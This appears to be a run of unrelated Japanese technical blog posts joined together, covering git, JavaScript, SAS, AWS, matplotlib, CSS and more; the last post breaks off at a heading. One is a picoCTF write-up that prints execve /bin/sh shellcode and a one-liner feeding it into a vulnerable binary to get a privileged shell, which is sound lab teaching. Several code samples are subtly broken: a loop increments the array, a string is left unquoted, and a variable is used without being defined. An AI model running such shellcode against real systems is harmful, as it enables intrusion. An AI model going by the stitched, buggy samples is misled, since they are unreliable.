git push した後に直前のcommit内容を正しく変更することになり、ammendオプションで変更しました。その後再度pushをすると次のようなエラーが発生。

```terminal
! [rejected]        develop/bootstrap_navbar -> develop/bootstrap_navbar (non-fast-forward)
error: failed to push some refs to '省略'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Integrate the remote changes (e.g.
hint: 'git pull ...') before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.
```
理由：自分がリモートの変更をpullしてから、pushするまでの間に、他からのpushがあるなどしてリモートが変更されている状況。エラーメッセージが教えてくれているように、あなたのブランチの先端はリモートのより後ろになっている。リモートの変更をマージしてから、改めてpushする。[参考:git](https://www.softel.co.jp/blogs/tech/archives/3569)

## 対応方法
~~私の場合は先にpushした内容に変更がないのでrejectされたのかなーと思いました。~~（間違っていたら指摘お願いします。）ご指摘を受けました。yamap_55さんありがとうございます。
git pushした後にammendオプションでコメントを変更したことで、コミットハッシュが変更されています。具体的にはリモートが「A → B」とコミットハッシュがある時にammendオプションで「A → C」と変更し、このツリーをpushしようとしたため、remoteの先頭コミットのハッシュがBなのに、ローカルのツリーにはBというハッシュがないよ！とエラーになっています。次のコマンド(-fオプション)で強制的にpushしました。

```terminal
git push origin [ローカルブランチ名] -f
```

## 感想
現在共同開発でgitを使うことが多くなったので勉強になります。
JavaScript I 〜Ⅶ　Progate まとめ

#JavaScript I

```js:
console.log(" ");   //文字の出力
let name = "John";  //変数の定義
const name =        //定数の定義
console.log(`----${name}---`); //テンプレートリテラル +を使わないで良い

// if文の書き方
let a = 15;
if (a > 20) {
   console.log("20以上です");
} else {
   console.log("20以下です");
}

//switch文
let color = red;
switch(color) {
 case "red":
   console.log("STOP");
   break;
 case "green":
   console.log("GO");
   break;
 case "yellow":
   console.log("Be Careful");
   break;
// => STOP
}
```

#JavaScript II

```js: 

//while文
let number = 1; //変数の定義
while (number <= 100 ) {
   console.log(number);
   number++ // 繰り返しの処理
}
// => 1,2,3,4,5,...100

//for文
for (let number = 1; number <= 100; number++){
  console.log(number);
}
//変数の定義、条件式、繰り返し処理を一行で書くことができる

//配列
let animals = ["dog","cat","sheep"];
for (let i = 0; i < animals.length; animals++ ){
  console.log(animals[i]); 
}
//配列の中身を取り出し一つずつ出力

//オブジェクト
let human = {name:"ya",age:20}; //プロパティ:値

```

#JavaScript Ⅲ

```js:
// 関数の定義
const introduce = function() {
 // まとめて処理したいこと
};

introduce(); //関数の呼び出し

//アロー関数で書くと定義を簡略化できる
const introduce = () => {

}
```

#JavaScript Ⅳ

```js:
class Animal{

} //クラスの宣言

const animal = new Animal(); //new class名でインスタンスを生成する
console.log(animal); // => Animal{}という空のオブジェクトが作成

```

```js:

class Animal{
  //設計図の中身を書いていく,
  //constructorには処理したいことを書く,インスタンス生成時に毎回実行される
  constructor() {
    console.log("Hello");
//this.プロパティ = 値 とすることで生成したインスタンスにプロパティと値を追加できる
    this.name = "bee"; 

  }
}
const animal = new Animal();
console.log(animal.name); 
// インスタンスもオブジェクトなのでオブジェクト.プロパティで => bee
```

```js:

class Animal{
 //インスタンスごとに値を自由に変えたい時は、引数に渡す
  constructor(name) {
    
    this.name = name; 
//this.プロパティ = 値 とすることで生成したインスタンスにプロパティと値を追加できる
  }
}
const animal = new Animal("hyakujuunoou");
console.log(animal.name); 


```

#JavaScript Ⅵ


```js:
//forEachメソッド
characters.forEach((character) => {
  console.log(character)
  
});
 //charactersという配列を繰り返し処理する

//findメソッド
const foundNumber = numbers.find((number) => {
  return number % 3 === 0;
});

console.log(foundNumber);
//配列の中から、コールバック関数の条件に合うもの一つだけを戻り値として返す

//mapメソッド
const doubledNumbers = numbers.map((number) => {
  return number*2;
});

console.log(doubledNumbers);
//配列内のすべての要素に処理を行い、その戻り値から新しい配列を作成する
```
#JavaScript Ⅶ
JavaScriptでは引数に関数を渡すことができ,引数に渡される関数をコールバック関数という

```js:

const Hello = () => {
  console.log("Hello");
};

const call = (callback) => { // 2callbackにHelloを代入
  console.log("コールバック関数を呼び出します。");
  callback(); // 3関数callback()を呼び出す、つまりHello関数を呼び出す
};

call(Hello);
//　１引数にHello関数を渡し、関数callを呼び出す

// => コールバック関数を呼び出します。
// => Hello
```
コールバック関数を直接定義することもできる

```js:
const call = (callback) => { 
  console.log("コールバック関数を呼び出します。");
  callback(); 
};

call( () => {
 console.log("Hello");
});
```
CASTableで条件を指定してソートする

[SAS Viya](https://www.sas.com/ja_jp/software/viya.html)はAIプラットフォームです。PythonやJava、Rなどの言語を通して利用できます。そのSAS Viyaの中で使われているのがCASTableというテーブルオブジェクトです（CASはCloud Analytic Servicesの略です）。今回はCASTableのデータをソートする方法を解説します。

## データベースからテーブルを取得する

まずはSAS Viyaに接続します。

```py
import swat
conn = swat.CAS('server-name.mycompany.com', 5570, 'username', 'password')
```

次にCASTableを取得します。今回はIRISデータのCSVを利用します。

```py
tbl = conn.loadtable('data/iris.csv', caslib='casuser').casTable
```

## ソートする

ソートは `sort_values` メソッドを使います。

```
tbl.sort_values(['sepal_length', 'sepal_width'])
```

この状態でデータを確認してみます。 `head` メソッドは最初の行から取得します。

```py
sorttbl.head(10)
```

| | sepal_length | sepal_width | petal_length | petal_width | species
|--------------|--------------|--------------|--------------|--------------|--------------|
| 0 | 4.3 | 3.0 | 1.1 | 0.1 | setosa
| 1 | 4.4 | 2.9 | 1.4 | 0.2 | setosa
| 2 | 4.4 | 3.0 | 1.3 | 0.2 | setosa
| 3 | 4.4 | 3.2 | 1.3 | 0.2 | setosa
| 4 | 4.5 | 2.3 | 1.3 | 0.3 | setosa
| 5 | 4.6 | 3.1 | 1.5 | 0.2 | setosa
| 6 | 4.6 | 3.2 | 1.4 | 0.2 | setosa
| 7 | 4.6 | 3.4 | 1.4 | 0.3 | setosa
| 8 | 4.6 | 3.6 | 1.0 | 0.2 | setosa
| 9 | 4.7 | 3.2 | 1.6 | 0.2 | setosa

逆順は `tail` メソッドを使います。

```py
sorttbl.tail(5)
```

| | sepal_length | sepal_width | petal_length | petal_width | species
|--------------|--------------|--------------|--------------|--------------|--------------|
| 145 | 7.7 | 2.6 | 6.9 | 2.3 | virginica
| 146 | 7.7 | 2.8 | 6.7 | 2.0 | virginica
| 147 | 7.7 | 3.0 | 6.1 | 2.3 | virginica
| 148 | 7.7 | 3.8 | 6.7 | 2.2 | virginica
| 149 | 7.9 | 3.8 | 6.4 | 2.0 | virginica

## 昇順降順を指定する

`ascending` オプションで並び順を細かく指定できます。

```py
sorttbl = tbl.sort_values(['sepal_length', 'sepal_width'], ascending=[False, True])
```

これでデータを確認すると、データの並び順が変わっているはずです。

| | sepal_length | sepal_width | petal_length | petal_width | species
|---|---|---|---|---|---|
| 0 | 7.9 | 3.8 | 6.4 | 2.0 | virginica
| 1 | 7.7 | 2.6 | 6.9 | 2.3 | virginica
| 2 | 7.7 | 2.8 | 6.7 | 2.0 | virginica
| 3 | 7.7 | 3.0 | 6.1 | 2.3 | virginica
| 4 | 7.7 | 3.8 | 6.7 | 2.2 | virginica
| 5 | 7.6 | 3.0 | 6.6 | 2.1 | virginica
| 6 | 7.4 | 2.8 | 6.1 | 1.9 | virginica
| 7 | 7.3 | 2.9 | 6.3 | 1.8 | virginica
| 8 | 7.2 | 3.0 | 5.8 | 1.6 | virginica
| 9 | 7.2 | 3.2 | 6.0 | 1.8 | virginica

## まとめ

データのソートは基本的な操作になります。sort_valuesを使いつつ、オプションで細かく条件指定を行ってください。

[SAS for Developers | SAS](https://developer.sas.com/home.html)
CASTableのデータをエクスポートする

[SAS Viya](https://www.sas.com/ja_jp/software/viya.html)はAIプラットフォームです。PythonやJava、Rなどの言語を通して利用できます。そのSAS Viyaの中で使われているのがCASTableというテーブルオブジェクトです（CASはCloud Analytic Servicesの略です）。今回はCASTableのデータをエクスポートする方法を紹介します。

## データベースからテーブルを取得する

まずはSAS Viyaに接続します。

```py
import swat
conn = swat.CAS('server-name.mycompany.com', 5570, 'username', 'password')
```

次にCASTableを取得します。今回はIRISデータのCSVを利用します。

```py
tbl = conn.loadtable('data/iris.csv', caslib='casuser').casTable
```

## エクスポートする

例えばCSVでエクスポートする場合は次のように行います。

```py
tbl.save(name='data/irisout.csv', caslib='casuser')
```

すでにファイルがある場合はメッセージが出ます。

```
The file /u/username/data/irisout.csv already exists. Specify the replace option to overwrite an existing file.
The action stopped due to errors.
```


SASのファイルフォーマットSASHDATで出力する場合は次のように行います。

```py
tbl.save(name='data/irisout.sashdat', caslib='casuser')
```

## まとめ

エクスポートはファイルフォーマットの指定は不要で、ファイルの拡張子で自動的に判別されます。なお、ファイルはサーバ側に保存されるので、その点は注意してください。

[SAS for Developers | SAS](https://developer.sas.com/home.html)
picoCTF 2019 handy-shellcode 解説

pwnの初歩的問題です。概要は、悪意のあるシェルコードを埋め込んでシェルの権限を奪ってコマンドを実行することでフラグをゲットできるといったものです。

# 問題の考察
問題のディレクトリーに入ってみるとflag.txtが存在します。こちらに、フラグが書いてありそうですね。catコマンドで開いてフラグゲットですね・・・という訳にもいきませんよね。もちろん、権限が足りません。

![valn1.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514015/5d8e8abf-6e6f-e6e6-b532-cb269f60b6c7.png)

ということで、vuln.cの中身を見てみましょう。

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}
```

このコードから以下のことが分かります。
①　// Set the gid to the effective gid. this prevents /bin/sh from dropping the privileges というコメントから、このコードから/bin/shを呼び出せば、権限を持ってシェルを使うことができる
② gets関数から受け取った入力がbufに格納される
③　((void (*)())buf)()よりbufを引数なしの関数の関数ポインタにキャストし即時実行する

# 解答

/bin/shを呼び出すことができるシェルコードを探します。サイトは[ここ](http://shell-storm.org/shellcode/)を利用しました。Intel x86から使えそうなシェルコードを探します。

![valn2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514015/8eb3f1e7-2ac7-1bdd-8b14-0ac04ca37112.png)

以下が埋め込むシェルコードになります。

```
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
```

あとは以下のようにすることでシェルを起動することができます。

```
(echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
```

cat flag.txtを入力しフラグをゲットしましょう。

![valn3.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514015/74c5777b-f3a5-3871-c3e0-4368d62a93ea.png)

# なぜシェルが起動するのか

先ほどのシェルコードを逆アセンブルして内容を確認してみましょう。

```sh

echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt

```

```
   0:	31 c9                	xor    ecx,ecx    # ecxに0をセット
   2:	f7 e1                	mul    ecx        # eaxにecxをかけ、edx:eaxに0をセット  
   4:	b0 0b                	mov    al,0xb     # eaxの下位8ビットに0xbをセット
   6:	51                   	push   ecx        # ecxの値は0なので,ヌル文字を表している？
   7:	68 2f 2f 73 68       	push   0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
   c:	68 2f 62 69 6e       	push   0x6e69622f # asciiコードを文字に直すと /bin
  11:	89 e3                	mov    ebx,esp    # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
  13:	cd 80                	int    0x80       # 割り込み発生 eaxの値を見てシステムコールの種類を特定

```

int 0x80で割り込みを発生させたときに、eaxの値を確認してどのシステムコールを利用するか決めます。番号とシステムコールの対応は、/usr/include/asm/unistd_32.h で確認できます。

![valn4.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/514015/0cf58330-eaf6-0cac-537c-5cf6053871b0.png)

今回はeaxに0xbつまり10進数で11を入れているため、execveが呼び出されるということが分かります。
execveを呼び出すときの引数として、"/bin//sh\0\0\0\0"をスタックに積んでいます(なぜ/が1個多いかはよくわかりません・・バイト数合わせるため？)。execveでは第一引数に実行ファイルのパスを指定するため、シェルを起動することができます。
オブジェクト指向初心者だった頃に抱いた疑問たち（随時更新）

## はじめまして。

未経験でエンジニアの道を選んだ、文系大学出身の者です。
本記事は、研修のなかで「オブジェクト指向」やそれをベースとする言語、またそのお作法に触れたての頃に抱いた疑問に対し、
この4か月ほどで得た知識と経験を基に自問自答するだけのものです。
分かりやすさを重視しており、理論というよりは観念的な話になりますので、
理論の面での先達からのご意見ご指摘をお待ちしております。
また、本記事がプログラミング言語を学び始めた方々の一助となれば幸いです。

## 疑問その1「『インスタンス』？ソースコードをコピペすればよくない？」[^1]
「クラス」と「インスタンス」、用語は理解できてもそれらをわざわざ分ける意味が、分かっていませんでした。

結論から言うと、**ソースコードのコピペダメ、ゼッタイ。**です。
さらに言うと、「Ctrl+C」とか「Ctrl+V」で、「人の手で」コピペするのがダメです。
ならどうするのか。

答えは簡単、**PC側やプログラム側への丸投げ**です。
人から機械へ、コードではなく処理のコピペを丸投げするための仕組みが「インスタンス」になります。
クラスは原本、生成されたインスタンスがコピーにあたります。
同じ理由から、基本的にメソッドもインスタンスを経由して呼び出してやります。

メリットは2点。
-全く同じ処理を**確実に**複製できる。
-インスタンスを生成するコードに不備がなければ、修正時にいじる場所は、インスタンスの原本＝クラスだけ。
　⇒**修正箇所の捜索が楽。修正に掛ける時間も削減できる。**

避けて通れないコードの保守やリファクタリングの際に、特にその恩恵にあずかることができます。
（リファクタリングそのものの解説は本稿の趣旨にそぐわないため、割愛します）

疑問その1まとめ：コピペするのはコードではなく処理そのもの、コピペ自体を機械に丸投げしよう

## 疑問その2「C#にでてくるLINQって何？」
オブジェクト指向言語の1つであるC#を学んでいると、突如現れる謎の存在、「LINQ」。
C#を理解しようとするノリのままLINQを理解しようとすると**詰みます**。
私は詰みました。

例えると関東の雑煮と関西の雑煮くらい違います。
そのくらい、オブジェクト指向と集合指向（＝SQLやLINQでのものの考え方）は異なります。
後生ですから、**LINQを学習する前にまず、腰を据えてSQLを勉強してください。**
LINQはSQL、つまり集合指向をC#にえいやと突っ込んだパーツですので、
先にある程度集合指向を理解しないと不毛に頭を悩ませ続けることになります。
（なお、「SQLを勉強したおかげでC#とLINQの物の見方が違うとわかりアハ体験した話」は、別途記事にできたらと考えているところです。）

疑問その2まとめ：LINQより先にSQLを理解しよう

※今後も思い出し次第、随時追記していこうと思います。
2019年11月6日　1.1稿　
[^1]: いただいたコメントを参考に、一部表現を変更。
2019年11月5日　初稿
【C#】LINE Messaging APIを利用したWebhookを作成する

# 概要
C#でLINEの[Messaging API](https://developers.line.biz/ja/services/messaging-api/)を利用した`Webhook`を作成した際の私的メモです。
ライブラリは下記のものを利用しました。
[https://github.com/pierre3/LineMessagingApi](https://github.com/pierre3/LineMessagingApi)

**※Bot作成に必要な公式アカウント(というかアクセストークン等一式)は取得済みである前提です。
まだ未取得の方は[こちら](https://account.line.biz/login?redirectUri=https%3A%2F%2Fmanager.line.biz%2F)から公式アカウントを作成してください。**

# 環境
- Windows8.1
- Visual Studio2017
- Ngrok(ローカルデバッグ時に必要)

# 拡張機能の追加
`Visual Studio`を起動して[ツール]→[拡張機能と更新プログラム]から`LINE Bot C# Template`をインストールします。
"LINE BOT"とかで検索すると出てきます。

![LINE_NU.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435429/7c9afd3f-f618-c29c-92dd-9378e40a32f7.png)

# テンプレートを用いてプロジェクトを作成
インストールした拡張機能のテンプレートを使ってプロジェクトを新規作成します。`Visual Studio`で[ファイル]→[新規作成]→[プロジェクト]から`LINEBotApplication`を選択し[OK]を押下。
**※[ソリューションのディレクトリを作成]はチェックを入れておく。**

![LINE_VS.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435429/bc8096b3-6617-bf14-377f-01ede2dee19e.png)

# 設定の変更
`Web.config`内の下記の値を変更してください。それぞれ、LINE公式アカウントの`Secret`,`アクセストークン`,`Azureのストレージの接続文字列`です。

- ChannelSecret
- ChannelAccessToken
- StorageConnectionString

**※私はAzure周りは使用しなかったため`StorageConnectionString`は入力していません。その場合、ソースコードで`StorageConnectionString`を参照している箇所を削除する必要があります。**

# 実行
設定の変更が完了したらもう実行できます。
ブラウザが立ち上がり、`localhost:1590`が表示されたら成功です。

# ローカルデバッグ
ローカルデバッグをする際は`Ngrok`を使用しました。
下記コマンドを実行するだけです。

```
ngrok.exe http --host-header=localhost:1590 1590
```
![ngrok.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435429/3ad0c5d9-73e1-4da7-5f5c-bfff24a52ed3.png)


`Forwarding`の前半部分をコピーして、LINE公式アカウントの`Webhook URL`に設定します。

※**api/LineBot**がエンドポイントなので、URLの後ろにつけてください

![webhook.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435429/a7f80f5a-0e04-2117-fe4d-756fed91bdb0.png)


これで`Ngrok`起動中ならローカル環境でWebhookのデバッグができるようになりました！！
AWSの用語・概念について（その１）


##### マネージドサービス
素のままサーバを貸し出すサービスをアンマネージドサービスと呼び、ソフトウェアなどをインストールしてあらかじめ設定して貸し出すサービスを***マネージドサービス***と呼ぶ。データのバックアップや二重化のデータ保全対策を含めてサービスとして提供してくれる。マネージドサービスを利用した場合、AWSの責任分界点がOS、SWレベルまで拡張されることが多い。
アンマネージドの例は、VPC、EIP、EC2、EBSなどがある。


##### クラウドサービスの可用性
SLAによる保証値は稼働率で表現されることが多い、例えば稼働率が99.9％と99.99％の場合、1ヵ月（=43,200 min）と仮定すると99.9％は432min、99.99％は43.2minとなる。

##### クラウドサービスの可用性
SLAによる保証値は稼働率で表現されることが多い、例えば稼働率が99.9％と99.99％の場合、1ヵ月（=43,200 min）と仮定すると99.9％は432min、99.99％は43.2minとなる。


##### 東京リージョン以外を使用する理由
以下3点が東京リージョン以外を使用する理由として挙げられる。
・東京リージョンでは、まだ提供されていないサービスを利用したい
・東京リージョンよりも安く運用したい
・東京リージョンが万が一以上を起こしたときのバックアップとして別のリージョンを使用したい


##### シンプルアイコンの利用方法
AWSのサービスを持ちいてシステム構成図を書くときは、共通アイコンを利用するとAWSのアーキテクチャを理解している同士の理解が容易になる。
https://aws.amazon.com/jp/architecture/icons/


##### IAMユーザー
AWSを操作できるユーザーをIAMユーザーと呼ぶ。IAMユーザーは、アクション（仮想サーバを実行できるetc）を集合化したポリシーを適応することで操作を制限する。AWSアカウント（ルートユーザー）は、すべての権限が付与されているので通常は運用者などに適応することはない。


##### ウェブサーバをEC２インスタンスで実装するかどうか
Webサーバ上でプログラム（例えばPHPなど）を実装するかどうかがEC２で構築するかどうかの基準になる。
EC２の場合はapacheなどのSWをインストールする場合があるが、S３の場合はマネージドサービスなので
予めWebサーバとしてのソフトウェアが動作する（S3のStatic website hosting機能を用いることで動作する）。


##### S3を用いたWebサーバについて
Static website hostingを利用する場合は、S３にバケットを作成してその中にHTMLファイルを格納する。
URLはバケットを生成した際にURLが自動的に付与される。そのため、バケット名称はAWS上で一意と
なる必要がある。

##### S３の料金体系
固定費用（データ保管容量）＋変動費用（ダウンロード/HTMLに対するリクエスト(GET,PUT等)）
※アップロードは無料

##### S３のアクセス制御
カスタムポリシー（Json形式で記載）と呼ばれる設定を行うことで、アプリケーションやユーザーからのS３へのアクセスを制御する。
このようにカスタムポリシーによりリソースそのものに制限を掛ける方式とユーザー自身にアクセスポリシーを制御する方式がある。
アプリケーションに対するアクセスを許可する場合には、アクセスキーとシークレットアクセスキーを登録する必要がある。

##### デフォルトVPC
インターネットに接続されたVPCをデフォルトVPCと呼ぶ。デフォルトVPCはデフォルトのサブネットを保有しており、
デフォルトサブネットはaz単位で一つずづ配置されている

##### EC2インスタンス（インスタンスタイプ、AMI）
EC２インスタンスの種類は用途別に大きく分けており、これをインスタンスタイプと呼ぶ。一般的にサーバ用途として使われるのは
TかMであり、一般的には開発用はT2（もしくはT3）、検証用はM5（もしくはM4）が利用される（２０１９年11月現在）。
ディスクイメージ（AMI：Amazon Machine Image）はEC2インスタンスのディスク領域であるEBSにデプロイし、RHEL６ベース
でAWSがカスタマイズしているAMIをAmazon Linux、RHEL7ベースのものをAmazon Linux 2と呼ぶ。
AMIは、単にインストールディスクのことを指しているわけではなく、OS＋必要設定を施したものです。だからAmazon Linux 2の場合は
初期ユーザーをec2-userというユーザーが作成されているのである。

##### EC２インスタンスの費用
EC２インスタンスの費用は、
固定費用（インスタンス使用量＋EBSの費用）＋変動費用（アウトバンド通信）である。

##### EC２インスタンスのセキュリティグループ
EC2インスタンスはセキュリティグループによりアクセスコントロールを実施しており、EC２単位で設定することができる。

以上
無料ノンプログラミングAndroid開発：App Inventor から派生した AppyBuilder と Kodular 統合の行方・・・

#AppyBuilder と Kodular どうなっちゃうの？

なぜか Qiita では AppyBuilder や Kodular に関する情報が見つからない。
検索しても私が前回書いた記事しかヒットしないのは気のせいだろうか。
ほぼGUIのみ、ノンプログラミングでAndroid開発ができる環境
しかも無料なのはかなり強力なツールに見える。
(前回資料：https://qiita.com/mnoda/items/5773e3aeaa5ef81df544 )

AppyBuilderによるアナウンス：
https://medium.com/the-kodular-korner/appybuilder-2026b417e622
を見るとKodularと（と言うより、Kodularに）統合すると書かれている。
2019年9月に発表された内容。8月のいつからかapkのビルドが
ブラウザ経由オンラインでできなくなっており（Build Failed）、
オフラインではできるとのことだができなくなった理由も
この移行に関係することらしいが再開されるのか否かなど正式にはまだ示されていない。
アナウンスを見る限り Kodular に移行と書かれているので、何か開発するのなら
Kodular で作成が良いのかと思いきや・・・
　
一方で2019年10月に始まったKodularで起きている問題：
とにかく遅い！ここ２週間くらいかなり遅い。
https://community.kodular.io/t/performance-issues/42188?u=diego
に書いてある通り。解決するにもずいぶんと時間がかかっている。
　
最近私が最近時作成した便利アプリは App Inventor2 経由であるので、
直ちに影響は無いのだが、機能的にはApp Inventor2には無い
ものがAppyBuilderないしは今後のKodularではあるものがあり
開発したいなあと思うのだが、果たして信用して良いのか不安になってきている。。。
ドネーションを募っており小規模組織のようではあるものの
海外ではユーザー数が多いのでAppyBuilderにしてもKodularにしても
運営・運用に何かしら問題があればどこかが引き取るとは思うのですが。。。
Kodular開発Home画面ではKodularのみでも24万のアカウント、
56万の作成済アプリがあるようで、いきなりサービス停止は無いと思うが現時点では不安な要素もある。
matplotlibでヒストグラムの縦軸を相対度数（柱の高さの合計=1）や相対度数密度（ヒストグラム全体の面積=1）にする

# この記事で行うこと

matplotlibで、ヒストグラムの縦軸を

- 度数（matplotlibのデフォルト）
- 相対度数
- 相対度数密度

にして描画します。

## 参考ページ（感謝します）

[matplotlib.histのnormedが変](https://jb102.blogspot.com/2017/10/22-histogram.html)
[matplotlib:histgram normedの挙動](https://qiita.com/ponnhide/items/571e896915306f42c0c1)
[統計学②　pythonを使って、確率密度関数(正規分布、標準正規分布)を覚えちゃう！](https://qiita.com/yossyyossy/items/601446f832f480d1d54a)

## 用語の整理

計算式は、

- 度数密度 = 度数 / 階級幅
- 相対度数密度 = 相対度数 / 階級幅

らしいです。
下記のPythonコードで実験したところ、hist関数で「density=True」を指定すると、縦軸が相対度数密度になるようです。
hist関数にはnormedオプション（非推奨）もありますが、これのバグを取り除いたものがdensityオプションだそうです。

## ソースコード（Jupyter Notebook）と描画結果

3つのヒストグラムを描画します。
データ件数は10000件で、平均値50、標準偏差10の正規乱数にしました。

```py

#%% md

#%%

import numpy as np
from scipy.stats import norm
import matplotlib.pyplot as plt


#%%

# データ作成
μ = 50
σ = 10
data = [ np.random.normal(μ, σ) for i in range(10000) ]


#%%

# 階級数
num_bins = 20

# 階級幅
bin_width = (max(data) - min(data)) / num_bins
print(f"階級幅 = 約{bin_width}")

# グラフ描画
fig = plt.figure(figsize=(8, 24))

# (1) 縦軸を度数にしたヒストグラム
ax1 = fig.add_subplot(311)
ax1.title.set_text("(1) frequency")
ax1.grid(True)
ax1.hist(data, bins=num_bins)

# (2) 縦軸を相対度数にしたヒストグラム
ax2 = fig.add_subplot(312)
ax2.title.set_text("(2) relative frequency")
ax2.grid(True)
ax2.set_xlim(ax1.get_xlim())
weights = np.ones_like(data) / len(data)
ax2.hist(data, bins=num_bins, weights=weights)

# (3) 縦軸を相対度数密度にしたヒストグラム(青) ＆ 正規分布の確率密度関数(赤)
ax3 = fig.add_subplot(313)
ax3.title.set_text("(3) density")
ax3.grid(True)
ax3.set_xlim(ax1.get_xlim())
ax3.hist(data, bins=num_bins, density=True, color="blue", alpha=0.5)

x = np.arange(0, 100, 1)
y = norm.pdf(x, μ, σ)
ax3.fill_between(x, y, color="red", alpha=0.5)
ax3.plot(x, y, 'k', linewidth=3, color="red", alpha=0.5)

```

コードを実行すると、「階級幅 = 約3.718313197105561」と表示され、以下のヒストグラムが描画されました。
3つのヒストグラムはそれぞれ、(1)縦軸＝度数、(2)縦軸＝相対度数、(3)は縦軸＝相対度数密度のヒストグラム(青)に正規分布の確率密度関数(赤)を重ねて表示しています。
「density=True」のヒストグラムと確率密度関数が重なっていますから、「density=True」にするとヒストグラム全体の面積が1になるようです。

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/327312/c56c5ab6-1c1a-4b68-33f9-94f0103ec28b.png)

## 「density=True」で縦軸が相対度数密度になっているか、計算式からざっくり検証

検証にヒストグラムの一番高い柱を使います。

### 相対度数
(2)の一番高い柱は0.14と0.15の間の値です。

### 階級幅
コードを実行した時、約3.7と表示されました。

### 相対度数密度
相対度数 / 階級幅 = 0.145 / 3.7 ≒ 0.039
(3)の一番高い柱と合っているように見えます。
(検証終わり)

## 相対度数のヒストグラムで、柱の高さの合計が1.0になっているか検証

上記ヒストグラムを読み取って合計するのも大変なので、Pythonコードの階級数（num_bins変数）を1にして再実行してみます。

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/327312/938e2dcd-be01-6f59-d4b1-d10c64ac863d.png)

(2)の唯一の柱の高さが1.0になりました。
また、10000件のデータを使いましたので、(1)の唯一の柱の高さも10000になっています。
(3)の「density=True」のヒストグラム(青)も、確率密度関数(赤)の面積と同じように見えます（面積=1）。
(検証終わり)
本当にゼロからシステムを作る必要があるのか？

# 様々なSaaSやソフトがある現在

　20年前ぐらいは、まだまだソフトウェアもいろんな分野でこれがデファクトスタンダードというのが少なかった。
　一方、現在は、デザイン、会計、営業支援など各分野で有名なソフトウェアが存在しており、「SaaS」というクラウドでソフトウェアを利用できるものまである。

　一般ユーザー向けのソフトはさておき、社内業務のシステムをゼロからつくる必要がどれぐらいあるのだろうか？

# 実際の打ち合わせを通して

　業務システムの打ち合わせに同席したり、実際、そのシステムを製造することがある。
　すでに間に入っている会社が決めてしまっているので、特に口出しはせず、いわれたとおり実装はする。
　実際、こころの中では、「もうこういうサービスがあるのに」、「こうしうソフトの運用を考えてあげればいいのに」と思うことは多い。

　実際、システム化の打ち合わせに同席していると、既存のシステムを業務に応じて、運用フローを考えるだけでも、かなり問題改善ができるものがある。

# なんでも作る時代ではなく、既存サービスやソフトを業務フローに沿わせる時代では

　冒頭で書いたように、今は、かなりいろいろなソフトウェアが生み出されていて、そのソフトの使い方を整理して、お客さんの問題をヒアリングすると、運用でなんとかなるものが多い。

　MicrosoftのFlowのように、アプリとアプリをつなぐようなバッチは必要かもしれないが、すべてのパーツを作るほどのことはないケースが多い。
　
　ソフトウェア開発会社はともかく、大手企業の情報システム部の人は、つくることを考える前に、使うことをまずは考えて、そうした提案をしてくれる会社に相談をするのがいいのではないだろうか？

　仮に、ソフトウェアを作るにしても、まずは、既存のソフトでデジタル化のフローを体験し、その上で、システムをつくっても遅くないと思う。

# コーディングを超えて、ソフトウェアを組み合わせることがプログラムへ

　プログラム=コーディングというイメージがあると思うが、それは昔はそれでよかったかもしれない。
　けれど、最近は、ローコード、ノーコードという言葉があるように、コーディングがシステム化にとって必須ではなくなっている。
　コーディングすることもあれば、すでに出来上がったものを組み合わせて業務フローを構築することもある。

　時代は進み、プログラムの指し示す意味も徐々に変わってきている。
　今のSIやプログラマーは、コーディングのことだけでなく、様々なソフトウェアやサービスの利用も知り、それを絡めて、ユーザーの効率的な業務フローを設計、実現していく必要がある。

　コーダーよりも、現在の意味にあうプログラマーが求められているのではないだろうか。
margin が相殺される場合とされない場合

#相殺される場合

```html
<!DOCTYPE html>
<html lang="ja" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
    <link rel="stylesheet" href="css/reset.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="box">
    </div>
    <div class="box2">
    </div>
  </body>
</html>
```

```css
.box {
  width: 200px;
  height: 200px;            
  margin: 20px;
  border: 1px solid red;
}
.box2 {
  width: 200px;
  height: 200px;
  margin: 20px;
  border: 1px solid blue;
}
```



<img width="205" alt="スクリーンショット 2019-11-05 15.37.57.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/496792/7716ced7-8363-f9b6-3e8e-932e0a05832f.png">


この場合boxの下marginとbox2の上marginが重なってしまっているため間隔は40pxとはならず20pxになる。
これが `mrginの相殺` である。
 


#相殺されない場合

